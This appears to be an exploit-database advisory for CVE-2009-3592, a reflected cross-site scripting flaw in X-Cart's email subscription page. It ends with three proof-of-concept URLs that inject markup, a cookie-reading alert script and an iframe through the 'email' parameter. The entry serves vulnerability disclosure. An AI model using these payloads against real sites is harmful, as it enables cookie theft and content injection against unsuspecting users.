X-Cart Email Subscription - 'email' Cross-Site Scripting
Author: Paulo Santos
type: webapps
platform: php
port:
date_added: 2009-10-06
date_updated: 2014-05-09
verified: 1
codes: CVE-2009-3592;OSVDB-58885
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/36601/info
X-Cart is prone to a cross-site scripting vulnerability in the email subscription component because the application fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<plaintext/>
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<script>alert(document.cookie);//<</script>
http://www.example.com/[path]/customer/home.php?mode=subscribed&email=<iframe src=http://www.google.com.br width=800>